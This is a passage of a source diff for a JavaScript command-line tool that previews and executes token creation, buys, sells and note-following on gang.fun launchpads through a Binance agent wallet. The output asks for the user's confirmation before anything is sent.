3.0): ${what} fills at its --raise instead, so leave --grad out` +function create() { + if (flag('grad') && (flag('fly') || flag('fair'))) fail(GRAD_ONLY_V3(flag('fly') ? 'a 铸币飞轮 sale' : 'a 打新 sale')) + if (flag('fly')) { + checkFlyCreate() + return runFly('create', { ...PAD_IO }) + } + const flyOnly = FLY_ONLY_FLAGS.find(flag) + if (flyOnly) fail(`--${flyOnly} is a 铸币飞轮 (Mint Flywheel) setting: add --fly to create one (gang create --fly …)`) + if (flag('fair')) { + const wrong = V3_CREATE_FLAGS.find(flag) + if (wrong) fail(`--${wrong} is a V3 tax setting; a 打新 sale's pool tax is fixed (1%): leave it out, or drop --fair for a V3 token`) + if (isLaunch('fair', flag)) return runLaunch('fair', LAUNCH_DEPS) + return runFair('create', { ...PAD_IO, notes: padNotes('fair', 'create') }) + } + const wrong = FAIR_CREATE_FLAGS.find(flag) + if (wrong) fail(`--${wrong} is a 打新 (fair-mint) setting: add --fair to create a sale (gang create --fair …)`) + if (isLaunch('v3', flag)) return runLaunch('v3', LAUNCH_DEPS) + return runV3('create', { ...PAD_IO, notes: padNotes('v3', 'create') }) +} + +// after a clean preflight: where a first trade usually starts +// gang.fun's setup page: every preflight issue code, step by step, for the user to open on their phone (gang-web-legacy /start) +const SETUP_GUIDE = 'https://gang.fun/start' +const PREFLIGHT_NEXT = [ + 'gang trending: what other agents buy now', + 'gang notes --min-hit 0.6: followable calls by authors who hit 60%+', + 'a first buy can be small: gang buy --token --amount 0.01 previews it, nothing is sent before gang execute', +] +// commands whose JSON result carries `update`; `watch` streams NDJSON and help is plain text +const UPDATE_CHECKED = new Set(['version', '--version', '-v', 'preflight', 'list', 'trending', 'invite', 'hot', 'new', 'near-grad', 'notes', 'agents', 'token', 'info', 'status', 'portfolio', 'quote', + 'buy', 'follow', 'sell', 'claim', 'mint', 'withdraw', 'release', 'upload-logo', 'create', 'execute', 'tx', 'fair', 'v3', 'bond', + 'buyback', 'split', 'lp', 'combo', 'fly', 'creator-fee']) +// gang tx decodes these beside the V2 / Soft / U / S pads' events (GangLaunchpad: both kinds; the tax router; the vaults) +const GANG_EVENT_ABIS = [...V3_EVENT_ABIS, ...FAIR_EVENT_ABIS, ...FLY_EVENT_ABIS, ...SPLIT_EVENT_ABIS, ...LP_EVENT_ABIS, ...COMBO_EVENT_ABIS] + +/** gang bond / gang buyback / gang split / gang lp / gang combo on a 铸币飞轮 token: those contracts refuse it, so say why before any step. */ +async function refuseFly(what) { + const token = opt('token') + if (!isAddress(token ?? '')) return + if (await isFlyToken(flyCtx(flag('testnet')), token)) fail(`铸币飞轮 (Mint Flywheel) tokens take no ${what} (phase 1)`, { token, kind: 'fly' }) +} + +/** A mainnet tx decoded, its queued note published (or its state refreshed), its follow ref and token links. */ +async function txReport(hash) { + const t = await decodeTx(hash, GANG_EVENT_ABIS) + // the input may carry a follow ref and a note commitment: a committed note is sent here if it's still in the + // local queue (e.g. after PENDING_CONFIRMATION), or its state reported / refreshed if already sent + const queued = hasQueued() + let note, input = null + try { + input = (await client.getTransaction({ hash })).input + } catch (e) { + if (queued) note = { published: false, error: `could not read tx input: ${e.message.split('\n')[0]}` } + } + const committed = input && queued ? hashesIn(input) : [] + if (committed.length) { + const entry = findByHashes(committed) + if (!entry) { + note = { committed: committed[0], published: false, error: 'not_in_local_queue', hint: 'note was written on another machine, or the queue entry is older than 24h' } + } + else if (t.status !== 'success') note = { published: false, error: 'tx_failed' } + else note = withRetry(await publishNote(entry, hash), hash) + } + const followed = readFollowRef(input), links = readTokenLinks(input), invitedBy = readRef(input) + // post text for X: the note once it's public, else a token this tx created + const created = t.status === 'success' ? t.events.find((e) => e.event === 'Created' && ADDR_RE.test(e.token ?? ''))?.token : null + const share = note?.published ? await shareFor({ note: hash }) : created ? await shareFor({ token: created, event: 'create' }) : null + return { + success: true, ...t, ...(note && { note }), ...(followed && { follow: { noteTx: followed, link: noteLink(followed) } }), + ...(links && { links }), ...(invitedBy && { invitedBy }), ...(share && { share }), + } +} + +/** + * `gang tx --pending`: the trades this machine executed that waited for Binance App approval (24h), each matched to its + * confirmed tx in the wallet's history by the exact call it previewed (pending.js), then reported as `gang tx --hash`. + */ +async function pendingReport() { + const recs = pendingPreviews().filter((r) => r.print) + if (!recs.length) return { success: true, pending: [], note: 'no trade from this machine is waiting for Binance App approval (last 24h)' } + const rows = [] + for (const chainId of [...new Set(recs.map((r) => r.chainId || '56'))]) { + const mine = recs.filter((r) => (r.chainId || '56') === chainId) + const since = Math.min(...mine.map((r) => r.pendingAt)) - 60_000 + const h = baw(['wallet', 'tx-history', '--binanceChainId', chainId, '--type', 'confirmed', '--size', '100', '--startTime', String(since)]) + if (!h.success) throw bawFailed('wallet tx-history', h.error) + const read = chainId === '56' ? client : v3Ctx(true).client + const matched = await matchPending(mine, h.data?.transactions || [], async (hash) => { + const tx = await read.getTransaction({ hash }) + return { to: tx.to, input: tx.input, blockNumber: tx.blockNumber } + }, claimedTxHashes()) + for (const m of matched) { + const base = { requestId: m.requestId, orderId: m.orderId ?? null, chainId: Number(chainId), pendingSince: new Date(m.pendingAt).toISOString() } + if (!m.txHash) { + rows.push({ ...base, state: 'waiting', hint: 'not in the wallet\'s confirmed txs yet: approved in the Binance App? Run gang tx --pending again after it' }) + continue + } + rememberPreview(m.requestId, { txHash: m.txHash }) + // state: the approval was found (the tx's own outcome is its status) + rows.push(chainId === '56' + ? { ...base, state: 'sent', ...(await txReport(m.txHash)) } + : { ...base, state: 'sent', hash: m.txHash, next: `gang tx --hash ${m.txHash} --testnet` }) + } + } + return { success: true, pending: rows } +} + async function main() { + if (UPDATE_CHECKED.has(cmd)) update = checkUpdate() + // streams and the MCP server print no single result: count the start (MCP tools run this CLI, so each one counts itself) + if (cmd === 'watch' || cmd === 'mcp') record(args, { success: true }) + // `gang create` (= `gang v3 create`) / `gang fair create` write the links into the token metadata + const tokenCreate = cmd === 'create' || ((cmd === 'v3' || cmd === 'fair' || cmd === 'fly') && args[1] === 'create') + const flyCreate = (cmd === 'create' && flag('fly')) || (cmd === 'fly' && args[1] === 'create') + // a flag no create reads is refused first, before any check that reads the others (flags.js) + const unknown = tokenCreate && unknownFlagError(args, CREATE_ACCEPTS, cmd === 'create' ? 'gang create' : `gang ${cmd} create`) + if (unknown) fail(unknown) + if (flyCreate) { + const launch = LAUNCH_FLAGS.find((f) => flag(f)) + if (launch) fail(`--${launch}: ${FLY_NO_BOND}`) + } + // --vault (3.0 vault mode / 2.0 金库版): a V3 create bound to a listed vault, alone: no 打新 / 铸币飞轮, no chained launch + if (flag('vault')) { + if (!tokenCreate || cmd === 'fair') fail('--vault only applies to a V3 create: gang create --vault …') + if (flyCreate || flag('fair')) fail(`--vault binds a V3 curve token to a listed vault: leave --${flyCreate ? 'fly' : 'fair'} out`) + const launch = LAUNCH_FLAGS.find((f) => flag(f)) + if (launch) fail(`--${launch}: ${VAULT_ALONE}`) + } + for (const name of LINK_FLAGS) { + if (!tokenCreate && flag(name)) fail(`--${name} only applies when creating a token (\`gang create\`, \`gang create --fair\`, \`gang create --fly\`)`) + } + if (flag('description') && !tokenCreate) { + fail('--description only applies when creating a token (`gang create`, `gang create --fair` / `--fly`; it goes into the token metadata)') + } + // --bond-hold / --bond-days / --restart only mean something in a chained launch (--dev-buy / --bond); never drop them silently + // gang fair create and gang create --fair are 打新 creates; the rest V3 + const launchKind = cmd === 'fair' || (cmd === 'create' && flag('fair')) ? 'fair' : 'v3' + if (tokenCreate && !flyCreate && !isLaunch(launchKind, flag)) { + // a 打新 dev buys with --shares in the create itself: say so here, not "add --bond" (which would only lead to that) + if (launchKind === 'fair' && flag('dev-buy')) fail(FAIR_DEV_BUY) + const lone = LAUNCH_FLAGS.find((f) => flag(f)) + if (lone) fail(`--${lone} only applies to a launch in one command: add --bond ${launchKind === 'fair' ? '' : ' (or --dev-buy / --buyback / --split :,… / --lp )'}`) + } switch (cmd) { + case 'fair': + if (args[1] === 'create' && isLaunch('fair', flag)) return runLaunch('fair', LAUNCH_DEPS) + return runFair(args[1], alias('fair', args[1])) + case 'v3': + if (args[1] === 'create' && isLaunch('v3', flag)) return runLaunch('v3', LAUNCH_DEPS) + return runV3(args[1], alias('v3', args[1])) + case 'fly': + if (args[1] === 'create') checkFlyCreate() + return runFly(args[1], alias('fly', args[1])) + case 'mcp': + return runMcp() + case 'creator-fee': + return runCreatorFee({ opt, flag, out, fail, summarize: summarizePreview }) + case 'bond': + await refuseFly('GangBond') + return runBond(args[1], { opt, flag, out, fail, summarize: summarizePreview }) + case 'buyback': + await refuseFly('a buy-back splitter') + return runBuyback(args[1], { opt, flag, out, fail, summarize: summarizePreview }) + case 'split': + await refuseFly('a split module') + return runSplit(args[1], { opt, flag, out, fail, summarize: summarizePreview }) + case 'lp': + await refuseFly('an LP splitter') + return runLp(args[1], { opt, flag, out, fail, summarize: summarizePreview }) + case 'combo': + await refuseFly('a combined recipient') + return runCombo(args[1], { opt, flag, out, fail, summarize: summarizePreview }) + case 'version': + case '--version': + case '-v': + return out({ success: true, version: VERSION }) case 'preflight': { const issues = [] const status = bawStatus() @@ -73,27 +1348,229 @@ async function main() { me = bawAddress(); settings = bawSettings() if (!settings.devMode?.enabled) issues.push({ code: 'DEV_MODE_OFF', fix: 'Enable Developer Mode in Binance App → Agentic Wallet settings.' }) if (!settings.tradeAllTokens) issues.push({ code: 'TRADE_ALL_TOKENS_OFF', fix: 'Enable "Trade all tokens" in Binance App → Agentic Wallet settings, otherwise SELLING Gang tokens is blocked by risk control (buying still works).' }) - agent = await isAgent(me) + agent = await createGateAgent(me) if (!agent) issues.push({ code: 'NO_AGENT_ID', fix: 'Claim a .ai Agent ID in Binance Wallet (Agent ID banner). Gang only lets Agent ID holders buy/create.' }) } + // after the baw calls: they block the event loop, and the fetch's short timeout would run out meanwhile + const hot = trendingBlock({ wallet: me }) return out({ - success: issues.length === 0, status, address: me, - launchpad: CONFIG.launchpad, createPad: ADDR.v2, isAgent: agent, + success: issues.length === 0, cliVersion: VERSION, status, address: me, + // `launchpad` = createPad: kept for readers of the old field (it used to be the V2 create target) + launchpad: padNets('v3').mainnet.pad, createPad: padNets('v3').mainnet.pad, createPadGen: padNets('v3').mainnet.gen, isAgent: agent, devMode: settings?.devMode?.enabled ?? null, tradeAllTokens: settings?.tradeAllTokens ?? null, issues, - note: 'New create → LaunchpadV2 only (~15 BNB graduation). Soft/U/S: existing buy/sell/claim only.', + note: 'New create → GangLaunchpad (gang create = gang v3 create; gang fair create for 打新). LaunchpadV2 / Soft / U / S take no new tokens: existing buy / sell only.', + ...(!issues.length && { next: PREFLIGHT_NEXT }), + ...(issues.length && { guide: { url: SETUP_GUIDE, note: 'Step-by-step setup (Agentic Wallet, Agent ID, Developer Mode, Trade all tokens) for the user to open on their phone; give it with the fixes.' } }), + ...await hot.then((t) => (t ? { trending: t } : {})), }) } case 'list': { + // --kind v3 / fair: GangLaunchpad tokens (from gang.fun); without it the V2 / Soft / U / S pads, as before + if (flag('kind')) { + const kind = opt('kind') + if (kind === 'v3') return runV3('list', { ...PAD_IO, notes: padNotes('v3', 'list') }) + if (kind === 'fair') return runFair('list', { ...PAD_IO, notes: padNotes('fair', 'list') }) + if (kind === 'fly') return runFly('list', { ...PAD_IO }) + fail('--kind must be v3, fair or fly (leave it out for the V2 / Soft / U / S tokens)', { got: kind ?? null }) + } const me = bawStatus() === 'CONNECTED' ? bawAddress() : undefined - return out({ success: true, createPad: ADDR.v2, tokens: await listTokens(me) }) + const perPad = parseCount('limit', opt('limit', '20'), 1000) + const hot = trendingBlock({ wallet: me }) + const { tokens, pads } = await listTokens(me, perPad) + return out({ + success: true, createPad: padNets('v3').mainnet.pad, perPad, pads, tokens, + ...(pads.some((p) => p.total > p.listed) && { note: `newest ${perPad} per pad; --limit (up to 1000) lists more` }), + ...await hot.then((t) => (t ? { trending: t } : {})), + }) } - case 'token': { - const token = opt('token'); if (!token) fail('--token required') - const me = bawStatus() === 'CONNECTED' ? bawAddress() : undefined - return out({ success: true, ...(await tokenInfo(token, me)) }) + case 'invite': { + // the link a dev / KOL shares: a newcomer's first trade through it is credited to them (gang.fun /start walks them in) + const token = flag('token') ? tokenArg() : null + const who = flag('who') ? opt('who') : (bawStatus() === 'CONNECTED' ? bawAddress() : null) + if (!who || who.startsWith('--')) fail('sign in to baw, or pass --who to look up another inviter') + let r = null + try { r = await apiGet(`/ref/${encodeURIComponent(who)}`, undefined, '') } catch { /* stats are optional */ } + const referrer = r?.referrer ?? (isAddress(who) ? who : null) + if (!referrer) fail('gang.fun does not know this inviter', { who, retry: true }) + const q = new URLSearchParams({ ref: referrer, ...(token && { token }) }) + return out({ + success: true, link: `https://gang.fun/start?${q}`, referrer, + stats: r ? { invited: r.invited ?? 0, qualified: r.qualified ?? 0, thisWeek: r.thisWeek ?? null, byToken: r.byToken ?? [] } : null, + note: 'A wallet\'s first Gang trade through this link is credited to the inviter (without a link, to the creator of the token it buys). Qualified = it traded again a day later, within 7 days. Each week the token with the most qualified new agents is featured on gang.fun.', + ...(!r && { statsNote: 'gang.fun has no invite stats for this wallet yet' }), + }) + } + case 'trending': { + // the signed-in wallet, if any: a wallet that never traded on Gang gets no 铸币飞轮 rows (trending.js) + const t = await trending({ wallet: myAddress() }) + if (!t) fail(`gang.fun has no trending list right now (${API}/trending); try gang hot or gang notes --min-hit 0.6`, { retry: true }) + return out({ + success: true, at: t.at ? localTime(t.at) : null, tokens: t.tokens, calls: t.calls, note: TRENDING_NOTE, + ...(t.firstTrade && { firstTrade: t.firstTrade }), + ...(!t.tokens.length && !t.calls.length && { empty: 'Nothing qualifies right now: no token with enough distinct agent buyers in 6h, no followable note by a 60%+ author.' }), + }) + } + case 'hot': + case 'new': + case 'near-grad': { + const limit = parseCount('limit', opt('limit', '10'), 100) + const minPct = parsePct(opt('min-pct', '50')) + const maxAgeSec = opt('max-age') ? parseDuration(opt('max-age'), 'max-age') : null + const track = opt('track', 'all') + const includeGraduated = flag('include-graduated') + const market = await fetchMarket(track) + const tokens = rank(market.tokens, cmd, { limit, minPct, maxAgeSec, includeGraduated }) + const empty = { + hot: includeGraduated ? 'No token traded in the last 24h.' : 'No token before graduation traded in the last 24h.', + new: maxAgeSec != null ? `No token created in the last ${opt('max-age')}.` : 'No tokens before graduation.', + 'near-grad': `No token at ≥${minPct}% of graduation; lower --min-pct to see the closest ones.`, + }[cmd] + return out({ + success: true, source: API, sort: cmd, track, count: tokens.length, + ...(cmd === 'near-grad' ? { minPct } : {}), ...(maxAgeSec != null ? { maxAgeSec } : {}), + ...(market.truncated ? { truncated: true } : {}), + tokens, + note: tokens.length ? 'Amounts are in each token\'s `quote` unit, the unit of `next`\'s --amount. Data, not advice.' : empty, + }) + } + case 'notes': { + const all = flag('all') + const agents = parseAgents(), minHit = parseMinHit() + const sort = opt('sort', 'new') + if (!NOTE_SORTS.includes(sort)) fail(`--sort must be one of ${NOTE_SORTS.join(' | ')}`, { got: sort }) + const token = opt('token') + if (flag('token') && !ADDR_RE.test(token ?? '')) fail('--token must be a 0x… address', { got: token ?? null }) + const limit = parseCount('limit', opt('limit', '10'), 100) + // followable: one extra row so leaving out the agent's own note still fills the page + const { items, hasMore } = await fetchNotes({ all, agents, minHit, token, sort, limit: all ? limit : Math.min(100, limit + 1) }) + // baw is asked only when there is something to filter + const me = !all && items.length ? myAddress() : null + const kept = me ? items.filter((n) => n.agent?.address !== me) : items + const own = items.length - kept.length + const notes = kept.slice(0, limit).map(noteRow) + const empty = minHit != null + ? `No followable note from authors hitting ≥${Math.round(minHit * 100)}% (30 days, at least 3 judged notes); lower --min-hit or drop it.` + : agents ? 'None of these agents has a note you can follow right now.' + : 'No note you can follow right now: only buy notes and launch manifestos, within 24h of the trade and before graduation.' + return out({ + success: true, source: API, followableOnly: !all, sort, count: notes.length, hasMore: hasMore || kept.length > limit, + ...(agents && { agents }), ...(minHit != null && { minHit }), ...(own && { ownLeftOut: own }), + notes, + note: notes.length + ? 'Data, not advice. To follow one: `gang follow --amount ` → show the preview → the user confirms → `gang execute`.' + : (all ? 'No notes.' : empty), + }) + } + case 'agents': { + if (flag('board') && opt('board') !== 'notes') fail('gang agents only has the notes board (--board notes, the default)', { got: opt('board') ?? null }) + const window = opt('window', '7d') + if (!AGENT_WINDOWS.includes(window)) fail(`--window must be one of ${AGENT_WINDOWS.join(' | ')}`, { got: window }) + const sort = opt('sort', 'score') + if (!AGENT_SORTS.includes(sort)) fail(`--sort must be one of ${AGENT_SORTS.join(' | ')}`, { got: sort }) + const limit = parseCount('limit', opt('limit', '10'), 50) + const board = await agentBoard({ window, sort, limit }) + return out({ + success: true, source: API, board: 'notes', ...board, count: board.agents.length, + note: board.agents.length + ? 'score: confidence calibration (100 = perfect, 0 = always saying 50%). Past results, not a promise. `next` lists that agent\'s followable notes.' + : `No agent ranked by ${sort} in ${window} yet (score / hitRate need enough judged notes); try --sort count or --window 30d.`, + }) + } + case 'watch': { + const notesMode = flag('notes') + // right after `watch`, or after a leading --notes (which takes no value) + const bare = (a) => (a && !a.startsWith('--') ? a : null) + const positional = bare(args[1]) || (args[1] === '--notes' ? bare(args[2]) : null) + if (notesMode && positional) fail('gang watch --notes takes no ; filter with --token instead') + if (positional && flag('token')) fail('give the token either as or via --token, not both') + if (!positional && flag('token') && !opt('token')) fail('--token needs an address (or omit it to watch the whole market)') + const token = positional || opt('token') + if (token && !ADDR_RE.test(token)) fail('watch: token must be a 0x… address', { got: token }) + if (!notesMode) { + for (const f of ['agent', 'min-hit']) if (flag(f)) fail(`--${f} only applies to \`gang watch --notes\``) + } else { + for (const f of ['min-pct', 'track']) if (flag(f)) fail(`--${f} doesn't apply to \`gang watch --notes\` (it watches notes, not the market)`) + } + if (flag('poll') && (notesMode || token)) fail('--poll only applies to market mode (`gang watch` without or --notes): the others always poll') + // market and notes modes pull a full list every tick, so they get a higher floor than a single token + const intervalSec = Math.max(token && !notesMode ? 3 : 10, parseDuration(opt('interval', notesMode ? '30' : '10'), 'interval')) + const maxEvents = opt('max-events') ? parseCount('max-events', opt('max-events'), 1e6) : Infinity + const deadline = opt('timeout') ? Date.now() + parseDuration(opt('timeout'), 'timeout') * 1000 : Infinity + const minPct = parsePct(opt('min-pct', '50')) + const agents = notesMode ? parseAgents() : null, minHit = notesMode ? parseMinHit() : null + const webhook = opt('webhook') + if (webhook && !/^https?:\/\//.test(webhook)) fail('--webhook must be an http(s) URL', { got: webhook }) + const allowed = notesMode ? NOTE_EVENTS : WATCH_EVENTS + let events = null + if (opt('events')) { + events = new Set(opt('events').split(',').map((s) => s.trim().replace(/-/g, '_')).filter(Boolean)) + const bad = [...events].filter((e) => !allowed.includes(e)) + if (bad.length) fail(`unknown --events${notesMode ? ' for --notes' : ''}: ${bad.join(', ')}`, { allowed }) + } + const me = notesMode ? myAddress() : null + + let count = 0 + const hooks = new Set() + const line = (o) => console.log(JSON.stringify({ ...o, emittedAt: Math.floor(Date.now() / 1000) })) + // meta events (watching / error / ended / timeout) go to stdout only and do not count toward --max-events + const emit = (ev, { meta = false } = {}) => { + line(ev) + if (meta) return + count++ + if (webhook) { + const p = fetch(webhook, { + method: 'POST', headers: { 'content-type': 'application/json', 'user-agent': UA }, + body: JSON.stringify(ev), signal: AbortSignal.timeout(10_000), + }).then((r) => { if (!r.ok) line({ event: 'error', error: `webhook ${r.status}` }) }) + .catch((e) => line({ event: 'error', error: `webhook: ${e.message}` })) + .finally(() => hooks.delete(p)) + hooks.add(p) + } + } + // aborts in-flight API requests at the deadline so --timeout isn't stretched by a slow API. + // setTimeout caps at 2^31-1 ms (~24.8d) and fires at once beyond it; longer timeouts rely on sleep's check. + const stopper = new AbortController() + const delay = deadline - Date.now() + const deadlineTimer = delay <= 2 ** 31 - 1 ? setTimeout(() => stopper.abort(), delay) : null + // the timer runs on the monotonic clock and may beat Date.now() by a hair; treat its firing as the deadline + const shouldStop = () => count >= maxEvents || stopper.signal.aborted || Date.now() >= deadline + try { + const common = { intervalSec, events, emit, shouldStop, stop: stopper.signal } + if (notesMode) await watchNotes({ ...common, agents, minHit, token, skip: (n) => !!me && n.agent?.address === me }) + else await watch({ ...common, token, minPct, track: opt('track', 'all'), poll: flag('poll') || process.env.GANG_STREAM === '0' }) + } catch (e) { + if (!shouldStop()) throw e // startup failure → fail() prints it as one NDJSON line + } finally { + clearTimeout(deadlineTimer) + } + if (count < maxEvents && (stopper.signal.aborted || Date.now() >= deadline)) line({ event: 'timeout', events: count }) + await Promise.allSettled([...hooks]) + return + } + case 'info': + case 'token': // the older name of gang info + return routed('info') + case 'portfolio': { + if (flag('testnet')) fail('gang portfolio is mainnet only: gang.fun indexes no testnet trades (gang status --testnet reads one token)') + const me = fromArg() || bawAddress() + return out(await portfolio({ + wallet: me, get: (path) => apiGet(path, undefined, null), statusOf: portfolioStatus, bondOf: portfolioBond, + creatorFeesOf: (w) => creatorFeeList(creatorFeeCtx(false), w), + }) + .catch((e) => fail(e.message, retryHint(e)))) } + case 'status': + case 'claim': + case 'mint': + case 'withdraw': + case 'release': + return routed(cmd) case 'quote': { - const token = opt('token'), bnb = opt('bnb'); if (!token || !bnb) fail('--token and --bnb required (Soft archive: BNB; V2: quote ERC-20 amount)') + const token = tokenArg(), bnb = spendArg() + if (!bnb) fail('--amount required (Soft archive: BNB; V2: quote ERC-20 amount; --bnb is the older name)') + if ((await padKind(token, 'quote')) !== 'legacy') { + fail('gang quote prices V2 / Soft / U / S curve buys; on GangLaunchpad, gang buy simulates the trade and shows expectTokens (nothing is sent before gang execute)', { token }) + } const me = bawAddress() const q = await quoteBuy(token, me, bnb) return out({ @@ -105,124 +1582,104 @@ async function main() { : (q.deterministic ? 'V2 quote = LaunchpadV2.sol curve math (unique path; no Soft/U/S fallback).' : undefined), }) } - case 'buy': { - const token = opt('token'), bnb = opt('bnb'); if (!token || !bnb) fail('--token and --bnb required') - const slippage = parseSlippage(opt('slippage', '1')) - const me = bawAddress() - const info = await tokenInfo(token, me) - if (info.graduated) fail('token already graduated; trade it on PancakeSwap', { pair: info.pair }) - if (!(await isAgent(me))) fail('this wallet holds no Agent ID (.ai); buying is gated', { address: me }) - const pad = await resolvePad(token) - const q = await quoteBuy(token, me, bnb) - if (q.tokensOut === 0n) fail('wallet cap reached or zero out', { myBalance: info.myBalance }) - const minOut = (q.tokensOut * BigInt(Math.round((100 - slippage) * 100))) / 10000n - - if (pad.kind === 'soft') { - const data = calldata.softBuy(token, minOut) - const p = bawPreview({ from: me, to: pad.address, value: parseEther(bnb), data }) - return out(summarizePreview(p, { - step: 'buy', kind: 'soft', token, symbol: info.symbol, pad: pad.id, - bnbSent: bnb, expectTokens: q.tokensOutFmt, expectSpent: q.spentFmt, fee: q.feeFmt, - expectRefund: q.refundFmt, minTokensOut: fmtTok(minOut), - })) - } - - // V2 / U / S: quote ERC-20 approve then buy(token, quoteIn, minTokensOut) - const quoteIn = parseEther(bnb) - const allow = await allowance(info.quote, me, pad.address) - if (allow < quoteIn) { - const p = bawPreview({ from: me, to: info.quote, data: calldata.approve(pad.address, quoteIn) }) - return out(summarizePreview(p, { - step: 'approve-quote', kind: 'v2', token, symbol: info.symbol, pad: pad.id, quote: info.quote, - amount: bnb, note: 'Approve quote ERC-20 first. After it confirms, re-run the same `gang buy` to preview the buy.', - })) - } - const data = calldata.v2Buy(token, quoteIn, minOut) - const p = bawPreview({ from: me, to: pad.address, data }) - return out(summarizePreview(p, { - step: 'buy', kind: 'v2', token, symbol: info.symbol, pad: pad.id, quote: info.quote, - quoteIn: bnb, expectTokens: q.tokensOutFmt, expectSpent: q.spentFmt, fee: q.feeFmt, - expectRefund: q.refundFmt, minTokensOut: fmtTok(minOut), quotePath: q.quotePath, deterministic: q.deterministic || false, - })) - } - case 'sell': { - const token = opt('token'); if (!token) fail('--token required') - const me = bawAddress() - const info = await tokenInfo(token, me) - if (info.graduated) fail('token already graduated; sell on PancakeSwap', { pair: info.pair }) - const bal = await balanceOf(token, me) - if (bal === 0n) fail('no balance to sell') - if (!flag('all') && !opt('amount')) fail('pass --amount or --all (full sell is no longer the default)') - if (flag('all') && opt('amount')) fail('use either --all or --amount, not both') - const amount = flag('all') ? bal : parseEther(opt('amount')) - if (amount > bal) fail('amount exceeds balance', { balance: fmtTok(bal) }) - const pad = await resolvePad(token) - const allow = await allowance(token, me, pad.address) - if (allow < amount) { - const p = bawPreview({ from: me, to: token, data: calldata.approve(pad.address, amount) }) - return out(summarizePreview(p, { - step: 'approve', token, symbol: info.symbol, pad: pad.id, amount: fmtTok(amount), - note: 'Approve first. After it confirms on-chain, run the same `gang sell` again to preview the sell.', - })) - } - const slippage = parseSlippage(opt('slippage', '1')) - const q = await quoteSell(token, amount) - const minOut = (q.out * BigInt(Math.round((100 - slippage) * 100))) / 10000n - if (pad.kind === 'soft') { - const p = bawPreview({ from: me, to: pad.address, data: calldata.softSell(token, amount, minOut) }) - return out(summarizePreview(p, { - step: 'sell', kind: 'soft', token, symbol: info.symbol, pad: pad.id, - amount: fmtTok(amount), expectOut: q.outFmt, fee: q.feeFmt, minOut: fmt(minOut), unit: 'BNB', - })) - } - const p = bawPreview({ from: me, to: pad.address, data: calldata.v2Sell(token, amount, minOut) }) - return out(summarizePreview(p, { - step: 'sell', kind: 'v2', token, symbol: info.symbol, pad: pad.id, quote: info.quote, - amount: fmtTok(amount), expectOut: q.outFmt, fee: q.feeFmt, minOut: fmt(minOut), unit: 'quote', quotePath: q.quotePath, deterministic: q.deterministic || false, - })) + case 'buy': + return routed('buy') + case 'follow': { + // gang follow --amount : the token comes from the note + const noteTx = args[1] && !args[1].startsWith('--') ? args[1].toLowerCase() : null + if (!NOTE_TX.test(noteTx ?? '')) fail('usage: gang follow --amount (the note tx is 0x + 64 hex)', { got: noteTx }) + if (flag('token')) fail('gang follow takes the token from the note; to name it yourself use `gang buy --token … --amount … --follow `') + if (flag('follow')) fail('give the note tx once: `gang follow --amount `') + const bnb = spendArg(); if (!bnb) fail('--amount required (the amount to buy, in the token\'s quote unit; --bnb is the older name)') + const note = parseNote() // a bad --note fails before any API call, as on buy + // checked without a token: gang.fun answers with the note's token, and buy() reuses this check. The wallet is the + // one that buys: --from builds for another one (gang v3 buy takes it on the curve; buy() refuses it there) + const { token, follow } = await confirmFollow(noteTx, fromArg() || bawAddress()) + if (!token) fail('gang.fun did not say which token this note is about', { noteTx }) + await resolveRef(fromArg() || bawAddress()) + // a GangLaunchpad token: the V3 curve buy (--amount / --bnb = the quote to spend) + const { kind: onPad } = await genOf({ ...v2PoolCtx(), gens: padNets('v3').mainnet.gens }, token) + if (onPad === 'fair') fail('this note is on a 打新 (fair-mint) token: only curve buys can follow a note', { noteTx, token }) + if (onPad !== 'v3' && (await isFlyToken(flyCtx(false), token))) fail('this note is on a 铸币飞轮 (Mint Flywheel) token: only curve buys can follow a note', { noteTx, token }) + if (onPad === 'v3') { + return runV3('buy', { ...PAD_IO, opt: (n, d) => (n === 'token' ? token : opt(n, d)), notes: padNotes('v3', 'buy', { note, checked: follow }) }) + } + return buy(token, bnb, note, noteTx, follow) } + case 'sell': + return routed('sell') case 'upload-logo': { const file = opt('file') || opt('path') || opt('logo') - if (!file) fail('--file required (png/jpeg/webp/gif ≤512KB)') - const up = await uploadLogoFile(file) + const url = opt('url') + if (file && url) fail('use either --file or --url, not both') + if (!file && !url) fail('--file or --url required (png/jpeg/webp/gif ≤512KB)') + const up = await (file ? uploadLogoFile(file) : rehostLogoUrl(url)).catch((e) => fail(e.message, retryHint(e))) return out({ success: true, ...up, ui: LOGO_UI, next: `gang create --name … --symbol … --logo-uri ${up.logoUrl}` }) } case 'create': { - const name = opt('name'), symbol = opt('symbol'); if (!name || !symbol) fail('--name and --symbol required') - try { assertCreateTarget(CONFIG.launchpad) } catch (e) { fail(e.message) } - const me = bawAddress() - if (!(await isAgent(me))) fail('this wallet holds no Agent ID (.ai); create is gated', { address: me }) - const logo = await resolveLogoUri() - const taxed = flag('taxed') - const pairOrQuote = opt('pair-or-quote') || opt('pair') || zeroAddress - if (taxed && (!pairOrQuote || pairOrQuote === zeroAddress)) { - fail('--taxed requires --pair-or-quote ') - } - const data = calldata.createV2(name, symbol, logo.logoURI, taxed, pairOrQuote) - const p = bawPreview({ from: me, to: ADDR.v2, data }) - return out(summarizePreview(p, { - step: 'create', pad: 'v2', launchpad: ADDR.v2, name, symbol, - logoURI: logo.logoURI || '(empty)', uploaded: logo.uploaded, upload: logo.upload, - taxed, pairOrQuote, - note: 'LaunchpadV2 only. Graduation ≈15 BNB (PoolCheck). No creation fee. Soft/U/S create archived. After execute: `gang tx --hash …` for Created.', - })) + // new tokens go to GangLaunchpad (= gang v3 create); LaunchpadV2 takes none, its tokens keep trading (gang buy / sell) + if (flag('taxed')) fail(`--taxed was LaunchpadV2's tax track, which takes no new tokens. ${TAXED_HINT}`) + if (flag('pair-or-quote') || flag('pair')) { + fail('--pair-or-quote was removed (CLI ≤0.3.0 encoded a create the contract does not have). Use --quote --ref-pool ; omit both for WBNB.') + } + return create() } case 'execute': { const id = opt('request-id'); if (!id) fail('--request-id required') const r = bawExecute(id) - if (!r.success) return out({ success: false, error: r.error }) + if (!r.success) return out({ success: false, ...bawError(r.error) }) const d = r.data const pending = d.status === 'PENDING_CONFIRMATION' + // gang tx --pending finds this trade's tx once the user approves it (pending.js): it lands after this block + if (pending) { + const rec = previewFor(id) + const read = rec?.chainId === '97' ? v3Ctx(true).client : client + const pendingBlock = await read.getBlockNumber().then(Number, () => null) + rememberPreview(id, { pendingAt: Date.now(), pendingBlock, orderId: d.orderId ?? null }) + } + const entry = findByRequestId(id) + // nothing broadcast (no hash, not pending) → nothing followed, and no trade to remind about + const sent = 